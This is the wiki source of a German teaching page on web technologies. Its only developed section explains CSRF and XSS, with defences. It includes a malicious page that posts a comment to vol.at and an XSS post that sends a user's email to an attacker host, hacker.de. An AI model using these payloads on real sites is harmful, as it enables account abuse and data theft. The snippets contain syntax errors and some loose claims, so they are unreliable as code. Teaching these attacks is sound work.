Quelltext der Seite Webtechnologien

= HTTP Protokoll =

== Aufbau HTTP Request/Response ==

== Methoden ==

== Zustandslosigkeit ==

= HTML =

= Javascript = 

= CSS =

= Json =

= Single Page Application =

== AJAX ==

== SPA Frameworks ==

== Anwendungsstate speichern ==

= Sicherheitsrisiken =
Im folgenden werden ausgewählte Sicherheitsrisiken im Zusammenhang mit Webseiten erläutert.
== CSRF ==
'''C'''ross '''S'''ite '''R'''equest '''F'''orgery, ist eine Angriffsmethode bei dem die gespeicherten Anmeldedaten des Benutzers verwendet werden um Requests durchzuführen, die ohne die Zustimmung des Benutzers erfolgen.<br>
=== Unterschieben der URL ===
Ist ein Benutzer bei einer Webseite '''A''' angemeldet, so wird diese Anmeldeinformation als '''Cookie''' im Browser gespeichert. Bei jedem Request an Webseite '''A''' wird das Cookie vom Browser mitgesendet, und der Server verwendet es um den Benutzer zu authentifizieren. Das '''Cookie''' wird auch mitgesendet wenn die Anfrage nicht von Webseite '''A''' selbst, sondern von einer anderen Webseite '''B''' stammt. Somit können schadhafte Requests von einer beliebigen Webseite ausgeführt werden, wenn der Server keine '''CSRF''' Schutzmechanismen implementiert hat.<br>
Ein auslesen von Daten durch eine bösartige Webseite ist hierbei jedoch nicht möglich. Moderne Browser senden zwar die Anfrage an den Server, die Antwort jedoch, wird durch den Browser nicht an das '''Javascript''' der Schadseite weitergeleitet. Der Grund hierfür ist die '''Same-Site-Policy''', oder restriktionen von '''CORS'''.
==== Beispiel ====
Angenommen der Benutzer ist auf der Webseite '''https://vol.at''' angemeldet. Um einen Kommentar für einen Artikel zu erstellen, erfolgt ein '''POST Request''' auf '''https://vol.at/14512/'''.<br>
Der Angreifer bringt auf irgendeine Weise (z.B.: Phishing Mail) den Benutzer dazu, auf seine eigene Webseite zu navigieren.
Beim Aufruf dieser bösen Webseite kann nun direkt über '''Javascript''' ein '''POST Request'''  auf '''https://vol.at/14512/''' mit einem unangebrachten Kommentar ausgeführt werden.<br>
Eine bösartige Webseite könnte wie folgt aussehen:
<syntaxhighlight lang='html' line>
Sie werden in kürze gehackt.
<script>
  async function postComment() {
    await fetch('https://vol.at/14512', {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' },
      body: "comment=Du bist so blöd!"
    }
    window.alert("You have been hacked by HACKER");
  }
  postComment();
</script>
</syntaxhighlight>

==== Lösungen ====
Generell verliert diese Art der '''CSRF''' Attacke an Vedeutung. Es gibt mehrere Möglichkeiten eine Webseite dagegen abzusichern.
* '''Same Site Cookie Attribut<ref>https://web.dev/samesite-cookies-explained/</ref>''' - Beschränkt das senden von Cookies wenn der Request nicht von der ursprünglichen Webseite, welche auch das Cookie gesendet hat, kommt.
* '''CSRF Token''' - Wird ein '''POST Request'''  gemacht, so muss zuerst ein '''CSRF Token''' geholt werden, dieser wird beim '''POST Request''' mitgesendet und validiert. Wie bereits erwähnt, können Requests von einer bösartigen zwar gesendet, die Responses aber nicht verarbeitet werden. Somit kann der '''CSRF Token''' nicht geholt und dem ungewünschten Request angehängt werden.

=== XSS ===
'''X'''/Cross '''s'''ite '''S'''cripting, ist eine Variante von '''CSRF''' welche ebenfalls erfordert, dass der Benutzer auf einer Webseite angemeldet ist. Die Unerwünschten Requests werden jedoch auf einem anderen Weg an den User gebracht. Besteht auf einer Webseite die Möglichkeit für den Benutzer eigenen '''HTML''' oder '''Javascript''' Code hochzuladen, so können Schadhafte Requests bei anderen Benutzern ausgeführt werden. Diese Möglichkeit kann auch durch mangelhafte Absicherung von Benutzereingaben auftreten. Der Schadhafte Code wird als Teil der Webseite an den Browser anderere Benutzer gesendet, sämtliche Requests sind hier möglich. Weder ein '''Same Site Cookie''' noch ein '''CSRF''' Token schaffen hier abhilfe, da die bösartigen Requests von der Seite selbst kommen.

==== Beispiel ====
Angenommen sei eine Webseite welche Beiträge von Benutzern über ein Formularfeld entegegen nimmt. Die Beiträge werden beim Abrufen eines Browser folgendermaßen gerendert<br>
<syntaxhighlight lang='html' line>
<html>
  <article>
  Nachrichten inhalt
  </article>
</html>
</syntaxhighlight>
Ein Benutzer könnte nun folgende Nachricht verfassen:
<syntaxhighlight lang='javascript' line>
Heute hat es aber viel geschneit! Schön!
<script>
  async function getProfile() {
    await user = fetch('/profile', { method: 'GET' });
    fetch('https://hacker.de/stolenemails', {
      method: 'POST',
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ email: user.email }) 
    }
    window.alert("Thanks for your email from HACKER");
  }
  getProfile();
</script>
</syntaxhighlight>

==== Lösung ====
Eine Möglichkeit um diese Sicherheitslücke zu umgehen ist ein Filtern der Eingabe des Benuzters.

=== Weitere Quellen ===
<ref>https://de.wikipedia.org/wiki/Cross-Site-Scripting</ref>
<ref>https://www.geeksforgeeks.org/what-is-samesite-cookies-and-csrf-protection/</ref>
<ref>https://de.wikipedia.org/wiki/Cross-Site-Request-Forgery</ref>